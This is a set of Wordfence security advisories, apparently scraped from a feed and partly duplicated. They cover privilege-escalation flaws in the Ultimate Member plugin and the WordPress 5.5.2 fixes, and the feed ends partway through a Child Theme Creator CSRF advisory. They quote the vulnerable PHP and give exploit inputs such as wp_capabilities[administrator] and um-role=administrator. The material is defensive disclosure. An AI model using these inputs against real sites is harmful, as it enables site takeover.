Critical Privilege Escalation Vulnerabilities Affect 100K Sites Using Ultimate Member Plugin

On October 23, 2020, our Threat Intelligence team responsibly disclosed several vulnerabilities in Ultimate Member, a WordPress plugin installed on over 100,000 sites. These flaws made it possible for attackers to escalate their privileges to those of an administrator and take over a WordPress site.

We initially reached out to the plugin’s developer on October 23, 2020. After establishing an appropriate communication channel, we provided the full disclosure details on October 26, 2020. The developer provided us with a copy of the first intended patch on October 26, 2020 for us to test. We confirmed the patch fixed one of the vulnerabilities, however, two still remained. On October 29, 2020, the plugin’s developer provided us with an updated copy which fully addressed all vulnerabilities. The plugin’s developer released a patched version of Ultimate Member, 2.1.12, on October 29, 2020.

These are critical and severe vulnerabilities that are easy to exploit. Therefore, we highly recommend updating to the patched version, 2.1.12, immediately.

Wordfence Premium users received a firewall rule to protect against any exploits targeting these vulnerabilities on October 23, 2020. Sites still using the free version of Wordfence will receive the same protection on November 22, 2020.


Unauthenticated Privilege Escalation via User Meta

Description: Privilege Escalation
Affected Plugin: Ultimate Member
Plugin Slug: ultimate-member
Affected Versions: <= 2.1.11
CVE ID: Pending
CVSS Score: 10.0 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 2.1.12

Ultimate Member is a popular plugin designed to enhance user registration and account control on WordPress sites. It allows site owners to create custom roles and manage the privileges of site members. As part of its functionality, the plugin automatically creates three forms: user registration, user login, and user profile management.

We discovered that the user registration form lacked some checks on submitted user data. This oversight made it possible for an attacker to supply arbitrary user meta keys during the registration process that would update those meta keys in the database. This meant that an attacker could supply an array parameter for sensitive meta data such as the wp_capabilities user meta which defines a user’s role. During the registration process, submitted registration details were passed to the update_profile function, and any respective metadata that was submitted, regardless of what was submitted, would be updated for that newly registered user.

do_action( 'um_before_save_registration_details', $this->id, $submitted );

			update_user_meta( $this->id, 'submitted', $submitted );

			$this->update_profile( $submitted );
function update_profile( $changes ) {

			$args['ID'] = $this->id;
$changes = apply_filters( 'um_before_update_profile', $changes, $args['ID'] );

			foreach ( $changes as $key => $value ) {
				if ( ! in_array( $key, $this->update_user_keys ) ) {
					if ( $value === 0 ) {
						update_user_meta( $this->id, $key, '0' );
					} else {
						update_user_meta( $this->id, $key, $value );
					}
				} else {
					$args[ $key ] = esc_attr( $changes[ $key ] );
				}
			}

This meant that an attacker simply needed to supply wp_capabilities[administrator] as part of a registration request, and that attacker would effectively update the wp_capabilities field with the administrator role. This simple request would grant administrator access upon registration.

This vulnerability is considered very critical as it makes it possible for originally unauthenticated users to easily escalate their privileges to those of an administrator. Once an attacker has administrative access to a WordPress site, they have effectively taken over the entire site and can perform any action, from taking the site offline to further infecting the site with malware.


Unauthenticated Privilege Escalation via User Roles

Description: Privilege Escalation
Affected Plugin: Ultimate Member
Plugin Slug: ultimate-member
Affected Versions: <= 2.1.11
CVE ID: Pending.
CVSS Score: 10.0 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 2.1.12

This vulnerability is related to the previously detailed vulnerability. Due to the lack of filtering on the role parameter that could be supplied during the registration process, an attacker could supply the role parameter with a WordPress capability or any custom Ultimate Member role and effectively be granted those privileges. After updating the user meta, the plugin checked if the role parameter was supplied. If so, a few checks were processed to verify the role being supplied.

// update user
			if ( count( $args ) > 1 ) {
				//if isset roles argument validate role to properly for security reasons
				if ( isset( $args['role'] ) ) {
					global $wp_roles;
					$um_roles = get_option( 'um_roles' );

					if ( ! empty( $um_roles ) ) {
						$role_keys = array_map( function( $item ) {
							return 'um_' . $item;
						}, get_option( 'um_roles' ) );
					} else {
						$role_keys = array();
					}

					$exclude_roles = array_diff( array_keys( $wp_roles->roles ), array_merge( $role_keys, array( 'subscriber' ) ) );

					if ( in_array( $args['role'], $exclude_roles ) ) {
						unset( $args['role'] );
					}
				}

				wp_update_user( $args );
			}

		}

Fortunately, the plugin blocked default WordPress roles from being supplied in the role parameter making it more difficult for attackers to be able to exploit this vulnerability to gain escalated privileges. In addition, if the role selector was enabled for the registration form, then only the roles specified by the site administrator could be selected and supplied during registration.

However, it did not stop custom Ultimate Member roles from being supplied or individual WordPress capabilities prior to updating the user role. Therefore, despite the initial protections, an attacker could still easily gain elevated privileges.

Attackers could enumerate the current custom Ultimate Members roles and supply a higher privileged role while registering in the role parameter. Or, an attacker could supply a specific capability and then use that to switch to another user account with elevated privileges. In either case, if wp-admin access was enabled for that user or role, then this vulnerability could be used in conjunction with the final vulnerability detailed below.

Again, this vulnerability is considered critical as it allows originally unauthenticated users to escalate their privileges with some conditions. Once an attacker has elevated access to a WordPress site, they can potentially take over the entire and further infect the site with malware.


Authenticated Privilege Escalation via Profile Update

Description: Privilege Escalation
Affected Plugin: Ultimate Member
Plugin Slug: ultimate-member
Affected Versions: <= 2.1.11
CVE ID: Pending.
CVSS Score: 9.9 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 2.1.12

This final vulnerability was introduced due to a lack of capability checks on a profile update. Due to the fact that Ultimate Member allowed the creation of new roles, this plugin also made it possible for site administrators to grant secondary Ultimate Member roles for all users. This was intended to allow a user to have default privileges for a built-in role, such as editor, but also have additional secondary privileges to extend capabilities of a membership site using Ultimate Member. The plugin uses a function, profile_update which runs whenever a user’s profile is updated to update the Ultimate Member role for any given user. This function used is_admin() alone without a capability check, making it possible for any user to supply the um-role post field and set their role to one of their choosing.

			function profile_update( $user_id, $old_data ) {
			// Bail if no user ID was passed
			if ( empty( $user_id ) ) {
				return;
			}

			$old_roles = $old_data->roles;
			$userdata  = get_userdata( $user_id );
			$new_roles = $userdata->roles;

			if ( is_admin() ) {
				if ( ! empty( $_POST['um-role'] ) ) {
					$new_roles = array_merge( $new_roles, array( $_POST['um-role'] ) );
					if ( ! user_can( $user_id, $_POST['um-role'] ) ) {
						UM()->roles()->set_role( $user_id, $_POST['um-role'] );
					}
				}
			}
}
			}

This meant that any user with wp-admin access to the profile.php page, whether explicitly allowed or via another vulnerability used to gain that access, could supply the parameter um-role with a value set to any role including `administrator` during a profile update and effectively escalate their privileges to those of that role.

As with the previous vulnerabilities outlined above, this vulnerability is considered critical as it makes it possible for authenticated users to escalate their privileges with very little difficulty. Once an attacker has administrator privileges on a WordPress site, they have effectively taken over the entire site.


Disclosure Timeline

  • October 19-23, 2020 – Initial discovery of one vulnerability and further investigation of the plugin which leads to discovery of two more vulnerabilities.
  • October 23, 2020 – We develop a firewall rule to protect Wordfence customers and release it to Wordfence Premium users. We initiate contact with the plugin’s developer.
  • October 26, 2020 – The plugin’s developer confirms the inbox for handling discussion. We send full disclosure.
  • October 26, 2020 – The plugin’s developer confirms the vulnerability and provides us with a patched copy to verify the fixes. We inform them that some flaws still exist.
  • October 29, 2020 – The plugin’s developer provides us with a second patched copy to verify the additional fixes. We verify that all has been patched.
  • October 29, 2020 – The patch is released in version 2.1.12.
  • November 22, 2020 – Free Wordfence users receive firewall rule.

Conclusion

In today’s post, we detailed several critical privilege escalation flaws in Ultimate Member that granted attackers the ability to escalate their privileges in various different ways. These flaws have been fully patched in version 2.1.12. We recommend that users immediately update to the latest version available, which is version 2.1.12 at the time of this publication.

Wordfence Premium users received firewall rules protecting against these vulnerabilities on October 23, 2020, while those still using the free version of Wordfence will receive the same protection on November 22, 2020.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as these are high severity vulnerabilities that are trivial to exploit.

The post Critical Privilege Escalation Vulnerabilities Affect 100K Sites Using Ultimate Member Plugin appeared first on Wordfence.

Read More

Critical Privilege Escalation Vulnerabilities Affect 100K Sites Using Ultimate Member Plugin

On October 23, 2020, our Threat Intelligence team responsibly disclosed several vulnerabilities in Ultimate Member, a WordPress plugin installed on over 100,000 sites. These flaws made it possible for attackers to escalate their privileges to those of an administrator and take over a WordPress site.

We initially reached out to the plugin’s developer on October 23, 2020. After establishing an appropriate communication channel, we provided the full disclosure details on October 26, 2020. The developer provided us with a copy of the first intended patch on October 26, 2020 for us to test. We confirmed the patch fixed one of the vulnerabilities, however, two still remained. On October 29, 2020, the plugin’s developer provided us with an updated copy which fully addressed all vulnerabilities. The plugin’s developer released a patched version of Ultimate Member, 2.1.12, on October 29, 2020.

These are critical and severe vulnerabilities that are easy to exploit. Therefore, we highly recommend updating to the patched version, 2.1.12, immediately.

Wordfence Premium users received a firewall rule to protect against any exploits targeting these vulnerabilities on October 23, 2020. Sites still using the free version of Wordfence will receive the same protection on November 22, 2020.


Unauthenticated Privilege Escalation via User Meta

Description: Privilege Escalation
Affected Plugin: Ultimate Member
Plugin Slug: ultimate-member
Affected Versions: <= 2.1.11
CVE ID: Pending
CVSS Score: 10.0 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 2.1.12

Ultimate Member is a popular plugin designed to enhance user registration and account control on WordPress sites. It allows site owners to create custom roles and manage the privileges of site members. As part of its functionality, the plugin automatically creates three forms: user registration, user login, and user profile management.

We discovered that the user registration form lacked some checks on submitted user data. This oversight made it possible for an attacker to supply arbitrary user meta keys during the registration process that would update those meta keys in the database. This meant that an attacker could supply an array parameter for sensitive meta data such as the wp_capabilities user meta which defines a user’s role. During the registration process, submitted registration details were passed to the update_profile function, and any respective metadata that was submitted, regardless of what was submitted, would be updated for that newly registered user.

do_action( 'um_before_save_registration_details', $this->id, $submitted );

			update_user_meta( $this->id, 'submitted', $submitted );

			$this->update_profile( $submitted );
function update_profile( $changes ) {

			$args['ID'] = $this->id;
$changes = apply_filters( 'um_before_update_profile', $changes, $args['ID'] );

			foreach ( $changes as $key => $value ) {
				if ( ! in_array( $key, $this->update_user_keys ) ) {
					if ( $value === 0 ) {
						update_user_meta( $this->id, $key, '0' );
					} else {
						update_user_meta( $this->id, $key, $value );
					}
				} else {
					$args[ $key ] = esc_attr( $changes[ $key ] );
				}
			}

This meant that an attacker simply needed to supply wp_capabilities[administrator] as part of a registration request, and that attacker would effectively update the wp_capabilities field with the administrator role. This simple request would grant administrator access upon registration.

This vulnerability is considered very critical as it makes it possible for originally unauthenticated users to easily escalate their privileges to those of an administrator. Once an attacker has administrative access to a WordPress site, they have effectively taken over the entire site and can perform any action, from taking the site offline to further infecting the site with malware.


Unauthenticated Privilege Escalation via User Roles

Description: Privilege Escalation
Affected Plugin: Ultimate Member
Plugin Slug: ultimate-member
Affected Versions: <= 2.1.11
CVE ID: Pending.
CVSS Score: 10.0 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 2.1.12

This vulnerability is related to the previously detailed vulnerability. Due to the lack of filtering on the role parameter that could be supplied during the registration process, an attacker could supply the role parameter with a WordPress capability or any custom Ultimate Member role and effectively be granted those privileges. After updating the user meta, the plugin checked if the role parameter was supplied. If so, a few checks were processed to verify the role being supplied.

// update user
			if ( count( $args ) > 1 ) {
				//if isset roles argument validate role to properly for security reasons
				if ( isset( $args['role'] ) ) {
					global $wp_roles;
					$um_roles = get_option( 'um_roles' );

					if ( ! empty( $um_roles ) ) {
						$role_keys = array_map( function( $item ) {
							return 'um_' . $item;
						}, get_option( 'um_roles' ) );
					} else {
						$role_keys = array();
					}

					$exclude_roles = array_diff( array_keys( $wp_roles->roles ), array_merge( $role_keys, array( 'subscriber' ) ) );

					if ( in_array( $args['role'], $exclude_roles ) ) {
						unset( $args['role'] );
					}
				}

				wp_update_user( $args );
			}

		}

Fortunately, the plugin blocked default WordPress roles from being supplied in the role parameter making it more difficult for attackers to be able to exploit this vulnerability to gain escalated privileges. In addition, if the role selector was enabled for the registration form, then only the roles specified by the site administrator could be selected and supplied during registration.

However, it did not stop custom Ultimate Member roles from being supplied or individual WordPress capabilities prior to updating the user role. Therefore, despite the initial protections, an attacker could still easily gain elevated privileges.

Attackers could enumerate the current custom Ultimate Members roles and supply a higher privileged role while registering in the role parameter. Or, an attacker could supply a specific capability and then use that to switch to another user account with elevated privileges. In either case, if wp-admin access was enabled for that user or role, then this vulnerability could be used in conjunction with the final vulnerability detailed below.

Again, this vulnerability is considered critical as it allows originally unauthenticated users to escalate their privileges with some conditions. Once an attacker has elevated access to a WordPress site, they can potentially take over the entire and further infect the site with malware.


Authenticated Privilege Escalation via Profile Update

Description: Privilege Escalation
Affected Plugin: Ultimate Member
Plugin Slug: ultimate-member
Affected Versions: <= 2.1.11
CVE ID: Pending.
CVSS Score: 9.9 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 2.1.12

This final vulnerability was introduced due to a lack of capability checks on a profile update. Due to the fact that Ultimate Member allowed the creation of new roles, this plugin also made it possible for site administrators to grant secondary Ultimate Member roles for all users. This was intended to allow a user to have default privileges for a built-in role, such as editor, but also have additional secondary privileges to extend capabilities of a membership site using Ultimate Member. The plugin uses a function, profile_update which runs whenever a user’s profile is updated to update the Ultimate Member role for any given user. This function used is_admin() alone without a capability check, making it possible for any user to supply the um-role post field and set their role to one of their choosing.

			function profile_update( $user_id, $old_data ) {
			// Bail if no user ID was passed
			if ( empty( $user_id ) ) {
				return;
			}

			$old_roles = $old_data->roles;
			$userdata  = get_userdata( $user_id );
			$new_roles = $userdata->roles;

			if ( is_admin() ) {
				if ( ! empty( $_POST['um-role'] ) ) {
					$new_roles = array_merge( $new_roles, array( $_POST['um-role'] ) );
					if ( ! user_can( $user_id, $_POST['um-role'] ) ) {
						UM()->roles()->set_role( $user_id, $_POST['um-role'] );
					}
				}
			}
}
			}

This meant that any user with wp-admin access to the profile.php page, whether explicitly allowed or via another vulnerability used to gain that access, could supply the parameter um-role with a value set to any role including `administrator` during a profile update and effectively escalate their privileges to those of that role.

As with the previous vulnerabilities outlined above, this vulnerability is considered critical as it makes it possible for authenticated users to escalate their privileges with very little difficulty. Once an attacker has administrator privileges on a WordPress site, they have effectively taken over the entire site.


Disclosure Timeline

  • October 19-23, 2020 – Initial discovery of one vulnerability and further investigation of the plugin which leads to discovery of two more vulnerabilities.
  • October 23, 2020 – We develop a firewall rule to protect Wordfence customers and release it to Wordfence Premium users. We initiate contact with the plugin’s developer.
  • October 26, 2020 – The plugin’s developer confirms the inbox for handling discussion. We send full disclosure.
  • October 26, 2020 – The plugin’s developer confirms the vulnerability and provides us with a patched copy to verify the fixes. We inform them that some flaws still exist.
  • October 29, 2020 – The plugin’s developer provides us with a second patched copy to verify the additional fixes. We verify that all has been patched.
  • October 29, 2020 – The patch is released in version 2.1.12.
  • November 22, 2020 – Free Wordfence users receive firewall rule.

Conclusion

In today’s post, we detailed several critical privilege escalation flaws in Ultimate Member that granted attackers the ability to escalate their privileges in various different ways. These flaws have been fully patched in version 2.1.12. We recommend that users immediately update to the latest version available, which is version 2.1.12 at the time of this publication.

Wordfence Premium users received firewall rules protecting against these vulnerabilities on October 23, 2020, while those still using the free version of Wordfence will receive the same protection on November 22, 2020.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as these are high severity vulnerabilities that are trivial to exploit.

The post Critical Privilege Escalation Vulnerabilities Affect 100K Sites Using Ultimate Member Plugin appeared first on Wordfence.

Read More

Unpacking the WordPress 5.5.2/5.5.3 Security Release

On Thursday, October 29, the WordPress core team released WordPress version 5.5.2. This was a minor release containing bug fixes and security enhancements to the core WordPress content management system powering over one-third of the internet. There was a subsequent 5.5.3 release one day later; you can read about the emergency WP 5.5.3 release here.

As with every release, the Wordfence team analyzed this release to determine the severity of any vulnerabilities that may have been patched to ensure that Wordfence users are adequately protected by the Wordfence Threat Defense Feed.

In the WordPress 5.5.2 release, the core team patched 8 different vulnerabilities. We found that most of these vulnerabilities required some specific conditions which means that they would not easily be exploited en mass.

A Closer Look at the Changes

External Libraries: Disable deserialization in Requests_Utility_FilteredIterator
This was a fix to the Requests_Utility_FilteredIterator class.

Since this class implemented the Serializable interface but didn’t use a specific magic method for __unserialize, any PHP objects injected via a separate object injection vulnerability could use this as part of a POP chain to remotely execute code via the __construct method.

The fix involved adding an __unserialize magic method to handle objects injected via unserialization by doing nothing, rather than by using the __construct method that allowed code execution.

The good news is that a separate Object Injection vulnerability would need to be present in order for this to be exploited. Additionally, the proof of concept payload would fail the is_serialized check that WordPress uses to determine if data is in serialized format, so any plugins that used this check or the maybe_unserialize function would not be vulnerable to this payload.

See changes here.

Alex Concha of the WordPress Security Team contributed their work on this fix.

Embeds: Disable embeds on deactivated Multisite sites.
This fix appears to have been introduced to prevent content from being embedded in sites that were a part of a multisite installation that have been archived, deleted, or considered spam. This was a measure to help prevent spam creation using embed on multisite installations that have been deleted or archived. There is not much risk to site owners due to this vulnerability. If a site was compromised, this could possibly be used to further infect an archived or deleted site on a multisite installation.

See changes here.

Thanks to David Binovec for their work on this.

Coding standards: Modify escaping functions to avoid potential false positives.
This was a fix to escape the output of data that is echoed to certain areas in the WordPress admin dashboard. The core team added the function of esc_js to escape any JavaScript that could make its way into those fields. In this case, this was due to the fact that user input could be injected into the $pagenow global variable, so these changes prevent any injected JavaScript from being executed.

In addition, an additional function of absint was added to ensure that data fields that should only contain numerical data only have numerical data. This escaping would help to prevent any potential Cross-Site Scripting (XSS) that could be introduced into global variables as well as WordPress post slugs.

See changes here.

Props to Marc Montpas and Karim El Ouerghemmi for disclosing these XSS issues to the WordPress team.

Upgrade/install: Improve logic check when determining installation status.
This patch looks to fix a potential denial of service attack against the MySQL database. The WordPress installation page performs a number of checks to determine if WordPress has already been installed. These are done by querying the database and looking at the data stored there. It first checks to see if the siteurl option has been set by looking in the wp_options table. If it hasn’t, it goes down the list of WordPress tables to see if they exist in the database. If it is not able to find any, it determines that WordPress has not yet been installed.

In order for an attacker to exploit this, they would need to allow WordPress to connect to the database, but prevent the database from returning data from the checks performed above. There’s likely a timing element to this Denial of Service attack, as well as having a way to access the database. In many cases, MySQL databases are not publicly accessible. This does look to be exploitable by an unauthenticated user provided the other conditions are met.

See changes here.

Thanks to Omar Ganiev for discovering and reporting this vulnerability.

XML-RPC: Return error message if attachment ID is incorrect.
This is a correction implemented to verify that a media element retrieved using an XMLRPC request to wp.getMediaItem is actually an “attachment” by verifying that the post_type is that of an attachment.

This corrected a vulnerability that allowed users with the upload_files capability, like authors, to view posts that may have been hidden or in the draft stage. Essentially, an attacker could have read any posts regardless of the type contained in the wp_posts table due to the lack of check to verify that the attachment being retrieved by XMLRPC was actually a media attachment.

See changes here.

Thanks to Justin Tran for discovering and reporting this vulnerability.

XML-RPC: Improve error messages for unprivileged users.
This was a simple fix to change the capabilities required to comment on posts using XMLRPC. It appears that previous versions of WordPress did not do a check on the post to determine which state the post was in. This meant that it was possible for users to comment on private or hidden posts as well as drafts with limited privileges, using XMLRPC.

The good news is that, unless your site had anonymous XMLRPC comments enabled, then a user would need to be registered in order to comment using this method.

See changes here.

Props again to Justin Tran for discovering and reporting this vulnerability.

Meta: Sanitize meta key before checking protection status.
In this release, the WordPress Core team added sanitization to the meta_key value prior to checking its protection status in the is_protected_meta function. This fix was implemented to resolve a bypass in the function that would allow protected meta keys to be passed. This could have ultimately led to arbitrary file deletion.

The is_protected_meta function is used to determine if metadata is considered to be protected. In order to do so, the function checked for a simple `_` at the start of the meta_key to determine if it should be protected and not altered. This protection method could easily be bypassed by supplying a null byte in front of the `_` found at the start of the protected metadata key which would make it possible for “protected” metadata to be passed and used in other functions.

This vulnerability would require higher-level capabilities to exploit.

See changes here.

Props to Slavco for discovering and analyzing this and to Karim El Ouerghemmi for confirming.

Themes: Ensure that only privileged users can set a background image when a theme is using the deprecated custom background page.
This fix appears to resolve a Cross-Site Request Forgery vulnerability that could allow an attacker to change a theme’s background image in cases where a theme is using the deprecated custom background page.

The function used to change background images already had a capability check for edit_theme_options. This fix appears to add a nonce to that function to verify the integrity of the source of a request to update a background image.

Cross Site Request Forgery vulnerabilities require that a victim administrator be tricked into performing an action in order to exploit the vulnerability.

See changes here.

Props to Erwan LR for responsibly disclosing this vulnerability.

Protecting Wordfence Users

We’ve added protections in the Wordfence Threat Defense Feed to protect Wordfence Premium customers against exploitation of a number of these vulnerabilities. Sites still using the free version of Wordfence will receive these firewall rules on November 30, 2020.

Nevertheless, it is always prudent to ensure that your site has been updated to the latest version, now version 5.5.3, of WordPress to ensure that the core patches have been applied to your site.

What should I do?

Though most of these vulnerabilities do not appear to be easily exploitable, the researchers who reported these coding issues may publish Proof of Concept code that could lead to exploits against vulnerable sites. Attackers may find ways in the future to utilize unpatched code in ways that we might not find significant now. As always, we recommend updating as soon as possible.

This is a minor WordPress release, which means that most sites will automatically update. With the subsequent emergency release of WordPress 5.5.3, you should ensure that you have updated to the latest version. You may wish to perform testing in a staging environment before updating the production version of your site.

Conclusion

Thank you to the WordPress core team and the researchers who make WordPress safer for everyone.

You can find the official announcement of the WP 5.5.2 release here. If you have questions or comments, please post them below and we’ll do our best to answer them in a timely manner. If you are one of the researchers whose work is included above and would like to provide additional detail or corrections, we welcome your comments.

Special thanks to Matt Barry, Wordfence Lead Developer, Matt Rusnak, Wordfence QA Lead, and Ram Gall, QA Engineer and Threat Analyst for their analysis of this WordPress core release.

The post Unpacking the WordPress 5.5.2/5.5.3 Security Release appeared first on Wordfence.

Read More

Unpacking the WordPress 5.5.2/5.5.3 Security Release

On Thursday, October 29, the WordPress core team released WordPress version 5.5.2. This was a minor release containing bug fixes and security enhancements to the core WordPress content management system powering over one-third of the internet. There was a subsequent 5.5.3 release one day later; you can read about the emergency WP 5.5.3 release here.

As with every release, the Wordfence team analyzed this release to determine the severity of any vulnerabilities that may have been patched to ensure that Wordfence users are adequately protected by the Wordfence Threat Defense Feed.

In the WordPress 5.5.2 release, the core team patched 8 different vulnerabilities. We found that most of these vulnerabilities required some specific conditions which means that they would not easily be exploited en mass.

A Closer Look at the Changes

External Libraries: Disable deserialization in Requests_Utility_FilteredIterator
This was a fix to the Requests_Utility_FilteredIterator class.

Since this class implemented the Serializable interface but didn’t use a specific magic method for __unserialize, any PHP objects injected via a separate object injection vulnerability could use this as part of a POP chain to remotely execute code via the __construct method.

The fix involved adding an __unserialize magic method to handle objects injected via unserialization by doing nothing, rather than by using the __construct method that allowed code execution.

The good news is that a separate Object Injection vulnerability would need to be present in order for this to be exploited. Additionally, the proof of concept payload would fail the is_serialized check that WordPress uses to determine if data is in serialized format, so any plugins that used this check or the maybe_unserialize function would not be vulnerable to this payload.

See changes here.

Alex Concha of the WordPress Security Team contributed their work on this fix.

Embeds: Disable embeds on deactivated Multisite sites.
This fix appears to have been introduced to prevent content from being embedded in sites that were a part of a multisite installation that have been archived, deleted, or considered spam. This was a measure to help prevent spam creation using embed on multisite installations that have been deleted or archived. There is not much risk to site owners due to this vulnerability. If a site was compromised, this could possibly be used to further infect an archived or deleted site on a multisite installation.

See changes here.

Thanks to David Binovec for their work on this.

Coding standards: Modify escaping functions to avoid potential false positives.
This was a fix to escape the output of data that is echoed to certain areas in the WordPress admin dashboard. The core team added the function of esc_js to escape any JavaScript that could make its way into those fields. In this case, this was due to the fact that user input could be injected into the $pagenow global variable, so these changes prevent any injected JavaScript from being executed.

In addition, an additional function of absint was added to ensure that data fields that should only contain numerical data only have numerical data. This escaping would help to prevent any potential Cross-Site Scripting (XSS) that could be introduced into global variables as well as WordPress post slugs.

See changes here.

Props to Marc Montpas and Karim El Ouerghemmi for disclosing these XSS issues to the WordPress team.

Upgrade/install: Improve logic check when determining installation status.
This patch looks to fix a potential denial of service attack against the MySQL database. The WordPress installation page performs a number of checks to determine if WordPress has already been installed. These are done by querying the database and looking at the data stored there. It first checks to see if the siteurl option has been set by looking in the wp_options table. If it hasn’t, it goes down the list of WordPress tables to see if they exist in the database. If it is not able to find any, it determines that WordPress has not yet been installed.

In order for an attacker to exploit this, they would need to allow WordPress to connect to the database, but prevent the database from returning data from the checks performed above. There’s likely a timing element to this Denial of Service attack, as well as having a way to access the database. In many cases, MySQL databases are not publicly accessible. This does look to be exploitable by an unauthenticated user provided the other conditions are met.

See changes here.

Thanks to Omar Ganiev for discovering and reporting this vulnerability.

XML-RPC: Return error message if attachment ID is incorrect.
This is a correction implemented to verify that a media element retrieved using an XMLRPC request to wp.getMediaItem is actually an “attachment” by verifying that the post_type is that of an attachment.

This corrected a vulnerability that allowed users with the upload_files capability, like authors, to view posts that may have been hidden or in the draft stage. Essentially, an attacker could have read any posts regardless of the type contained in the wp_posts table due to the lack of check to verify that the attachment being retrieved by XMLRPC was actually a media attachment.

See changes here.

Thanks to Justin Tran for discovering and reporting this vulnerability.

XML-RPC: Improve error messages for unprivileged users.
This was a simple fix to change the capabilities required to comment on posts using XMLRPC. It appears that previous versions of WordPress did not do a check on the post to determine which state the post was in. This meant that it was possible for users to comment on private or hidden posts as well as drafts with limited privileges, using XMLRPC.

The good news is that, unless your site had anonymous XMLRPC comments enabled, then a user would need to be registered in order to comment using this method.

See changes here.

Props again to Justin Tran for discovering and reporting this vulnerability.

Meta: Sanitize meta key before checking protection status.
In this release, the WordPress Core team added sanitization to the meta_key value prior to checking its protection status in the is_protected_meta function. This fix was implemented to resolve a bypass in the function that would allow protected meta keys to be passed. This could have ultimately led to arbitrary file deletion.

The is_protected_meta function is used to determine if metadata is considered to be protected. In order to do so, the function checked for a simple `_` at the start of the meta_key to determine if it should be protected and not altered. This protection method could easily be bypassed by supplying a null byte in front of the `_` found at the start of the protected metadata key which would make it possible for “protected” metadata to be passed and used in other functions.

This vulnerability would require higher-level capabilities to exploit.

See changes here.

Props to Slavco for discovering and analyzing this and to Karim El Ouerghemmi for confirming.

Themes: Ensure that only privileged users can set a background image when a theme is using the deprecated custom background page.
This fix appears to resolve a Cross-Site Request Forgery vulnerability that could allow an attacker to change a theme’s background image in cases where a theme is using the deprecated custom background page.

The function used to change background images already had a capability check for edit_theme_options. This fix appears to add a nonce to that function to verify the integrity of the source of a request to update a background image.

Cross Site Request Forgery vulnerabilities require that a victim administrator be tricked into performing an action in order to exploit the vulnerability.

See changes here.

Props to Erwan LR for responsibly disclosing this vulnerability.

Protecting Wordfence Users

We’ve added protections in the Wordfence Threat Defense Feed to protect Wordfence Premium customers against exploitation of a number of these vulnerabilities. Sites still using the free version of Wordfence will receive these firewall rules on November 30, 2020.

Nevertheless, it is always prudent to ensure that your site has been updated to the latest version, now version 5.5.3, of WordPress to ensure that the core patches have been applied to your site.

What should I do?

Though most of these vulnerabilities do not appear to be easily exploitable, the researchers who reported these coding issues may publish Proof of Concept code that could lead to exploits against vulnerable sites. Attackers may find ways in the future to utilize unpatched code in ways that we might not find significant now. As always, we recommend updating as soon as possible.

This is a minor WordPress release, which means that most sites will automatically update. With the subsequent emergency release of WordPress 5.5.3, you should ensure that you have updated to the latest version. You may wish to perform testing in a staging environment before updating the production version of your site.

Conclusion

Thank you to the WordPress core team and the researchers who make WordPress safer for everyone.

You can find the official announcement of the WP 5.5.2 release here. If you have questions or comments, please post them below and we’ll do our best to answer them in a timely manner. If you are one of the researchers whose work is included above and would like to provide additional detail or corrections, we welcome your comments.

Special thanks to Matt Barry, Wordfence Lead Developer, Matt Rusnak, Wordfence QA Lead, and Ram Gall, QA Engineer and Threat Analyst for their analysis of this WordPress core release.

The post Unpacking the WordPress 5.5.2/5.5.3 Security Release appeared first on Wordfence.

Read More

High Severity Vulnerability Patched in Child Theme Creator by Orbisius

On September 9, 2020, our Threat Intelligence team discovered a vulnerability in Child Theme Creator by Orbisius, a WordPress plugin installed on over 30,000 sites. This flaw gave attackers the ability to forge requests on behalf of an administrator in order to modify arbitrary theme files and create new PHP files, which could allow an attacker to achieve remote code execution (RCE) on a vulnerable site’s server.

We initially reached out to the plugin’s developer on September 9th, 2020. After establishing an appropriate communication channel, we provided the full disclosure details on September 10, 2020. The developer provided us with a copy of the intended patch on September 11, 2020 for us to test. We confirmed the patch fixed the vulnerability on September 11, 2020, and the plugin’s developer released the patch for the product on September 30, 2020.

We highly recommend updating to the patched version, 1.5.2, immediately.

Wordfence Premium users received a firewall rule to protect against any exploits targeting this vulnerability on September 9, 2020. Sites still using the free version of Wordfence received the same protection on October 9, 2020.

Description: Cross-Site Request Forgery to Arbitrary File Modification and Creation
Affected Plugin: Child Theme Creator by Orbisius
Plugin Slug: orbisius-child-theme-creator
Affected Versions: <= 1.5.1
CVE ID: Pending.
CVSS Score: 8.8 (HIGH)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Fully Patched Version: 1.5.2

Child Theme Creator by Orbisius is a plugin designed to create child themes. It also has a theme editor built into the plugin for easy editing of any newly created child themes.

The plugin uses an AJAX action to trigger the theme editor functions that are used to perform actions like loading a file, saving a file, and deleting a file which are all registered as subcommands via the ‘sub_cmd’ parameter.

add_action( 'wp_ajax_orbisius_ctc_theme_editor_ajax', 'orbisius_ctc_theme_editor_ajax');
add_action( 'wp_ajax_nopriv_orbisius_ctc_theme_editor_ajax', 'orbisius_ctc_theme_editor_no_auth_ajax');
/**
 * This is called via ajax. Depending on the sub_cmd param a different method will be called.
 */
function orbisius_ctc_theme_editor_ajax() {
    $buff = 'INVALID AJAX SUB_CMD';

    $req = orbisius_child_theme_creator_get_request();
    $sub_cmd = empty($req['sub_cmd']) ? '' : $req['sub_cmd'];

    switch ($sub_cmd) {
        case 'generate_dropdown':
            $buff = orbisius_ctc_theme_editor_generate_dropdown();

            break;

        case 'load_file':
            $buff = orbisius_ctc_theme_editor_manage_file(1);
            break;

        case 'save_file':
            $buff = orbisius_ctc_theme_editor_manage_file(2);

            break;

        case 'delete_file':
